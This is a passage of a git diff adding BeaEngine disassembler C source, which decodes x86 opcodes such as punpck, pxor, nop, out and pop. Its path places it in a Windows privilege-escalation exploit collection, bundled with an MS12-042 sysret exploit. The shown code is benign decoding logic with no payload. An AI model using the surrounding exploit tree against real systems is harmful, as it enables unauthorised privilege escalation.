((*pMyDisasm).Instruction.Mnemonic, "punpckhbw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhbw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 69 + * ==================================================================== */ +void __bea_callspec__ punpckhwd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+CONVERSION_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhwd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhwd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 6a + * ==================================================================== */ +void __bea_callspec__ punpckhdq_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+CONVERSION_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhdq "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhdq "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 60 + * ==================================================================== */ +void __bea_callspec__ punpcklbw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+CONVERSION_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpcklbw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpcklbw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 61 + * ==================================================================== */ +void __bea_callspec__ punpcklwd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+CONVERSION_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpcklwd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpcklwd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 62 + * ==================================================================== */ +void __bea_callspec__ punpckldq_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+CONVERSION_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckldq "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckldq "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f ef + * ==================================================================== */ +void __bea_callspec__ pxor_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+LOGICAL_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pxor "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pxor "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_N_Z.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_N_Z.c new file mode 100644 index 0000000..ebb55dc --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_N_Z.c @@ -0,0 +1,3660 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 90h + * ==================================================================== */ +void __bea_callspec__ nop_(PDISASM pMyDisasm) +{ + if (GV.PrefRepe == 1) { + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pause "); + #endif + GV.EIP_++; + } + else { + if (GV.REX.B_ == 1) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 64; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[0+8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0+8]; + (*pMyDisasm).Argument2.ArgSize = 64; + GV.EIP_++; + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+MISCELLANEOUS_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "nop "); + #endif + GV.EIP_++; + } + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ nop_Ev(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+MISCELLANEOUS_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "nop "); + #endif + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2dword; + } + else { + GV.MemDecoration = Arg2word; + } + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ hint_nop(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+MISCELLANEOUS_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "hint_nop "); + #endif + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2dword; + } + else { + GV.MemDecoration = Arg2word; + } + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ======================================= + * 08h + * ======================================= */ +void __bea_callspec__ or_EbGb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or "); + #endif + EbGb(pMyDisasm); + FillFlags(pMyDisasm,74); +} + +/* ======================================= + * 09h + * ======================================= */ +void __bea_callspec__ or_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or "); + #endif + EvGv(pMyDisasm); + FillFlags(pMyDisasm,74); +} + +/* ======================================= + * 0ah + * ======================================= */ +void __bea_callspec__ or_GbEb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or "); + #endif + GbEb(pMyDisasm); + FillFlags(pMyDisasm,74); +} + +/* ======================================= + * 0bh + * ======================================= */ +void __bea_callspec__ or_GvEv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,74); +} + +/* ======================================= + * 0ch + * ======================================= */ +void __bea_callspec__ or_ALIb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or "); + #endif + ALIb(pMyDisasm); + FillFlags(pMyDisasm,74); +} + +/* ======================================= + * 0dh + * ======================================= */ +void __bea_callspec__ or_eAX_Iv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or "); + #endif + eAX_Iv(pMyDisasm); + FillFlags(pMyDisasm,74); +} + + +/* ======================================= + * 06eh + * ======================================= */ +void __bea_callspec__ outsb_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "outsb "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG2; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_++; + FillFlags(pMyDisasm, 76); +} + +/* ======================================= + * 06fh + * ======================================= */ +void __bea_callspec__ outsw_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + if (GV.OperandSize >= 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "outsd "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG2; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + (*pMyDisasm).Argument2.ArgSize = 32; + GV.EIP_++; + FillFlags(pMyDisasm, 76); + } + + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "outsw "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG2; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + (*pMyDisasm).Argument2.ArgSize = 16; + GV.EIP_++; + FillFlags(pMyDisasm, 76); + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ out_IbAL(PDISASM pMyDisasm) +{ + long MyNumber; + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "out "); + #endif + if (!Security(2, pMyDisasm)) return; + GV.ImmediatSize = 8; + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.Immediat = MyNumber; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_ += 2; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ out_Ib_eAX(PDISASM pMyDisasm) +{ + long MyNumber; + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "out "); + #endif + if (!Security(2, pMyDisasm)) return; + GV.ImmediatSize = 8; + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.Immediat = MyNumber; + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[0]); + #endif + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[0]); + #endif + (*pMyDisasm).Argument2.ArgSize = 16; + } + GV.EIP_ += 2; +} + + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ out_DXAL(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "out "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2]); + #endif + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.AccessMode = READ; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[0]); + #endif + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_ ++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ out_DXeAX(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "out "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2]); + #endif + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.AccessMode = READ; + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[0]); + #endif + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[0]); + #endif + (*pMyDisasm).Argument2.ArgSize = 16; + } + GV.EIP_ ++; +} + +/* ======================================= + * 8fh + * ======================================= */ +void __bea_callspec__ pop_Ev(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + GV.OperandSize = 64; + GV.MemDecoration = Arg1qword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg1dword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + } + else { + GV.MemDecoration = Arg1word; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + } + } + else { + FailDecode(pMyDisasm); + } +} + +/* ======================================= + * 58h + * ======================================= */ +void __bea_callspec__ pop_eax(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0+8]; + } + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 59h + * ======================================= */ +void __bea_callspec__ pop_ecx(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+0+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+8]; + } + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1]; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 5ah + * ======================================= */ +void __bea_callspec__ pop_edx(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+0+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+8]; + } + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2]; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 5bh + * ======================================= */ +void __bea_callspec__ pop_ebx(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy 